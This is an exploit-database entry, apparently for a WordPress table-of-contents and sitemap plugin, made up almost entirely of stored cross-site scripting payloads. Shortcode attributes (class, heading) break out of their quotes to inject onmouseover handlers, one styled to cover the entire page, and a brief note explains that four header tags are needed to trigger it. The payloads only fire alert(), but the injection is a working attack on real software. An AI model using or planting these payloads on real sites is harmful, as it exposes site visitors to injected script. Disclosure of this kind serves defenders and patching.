## https://sploitus.com/exploit?id=WPEX-ID:10F63D30-1B36-459B-80EB-509CAAF5D377
[toc heading_levels='1' class='" onmouseover="alert(/XSS/)']
<h1>XSS</h1>
content
<h1>XSS</h1>
content
<h1>XSS</h1>
content
<h1>XSS</h1>
content
Note: it is only generated by the shortcode if there is content for the TOC, so it must be used together, and it needs at least 4 header tags to work.
[sitemap_pages heading='1" style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//']
[sitemap_categories heading='1" style=position:absolute;top:0;left:0;max-width:9999px;width:9999px;height:9999px onmouseover=alert(/XSS/)//']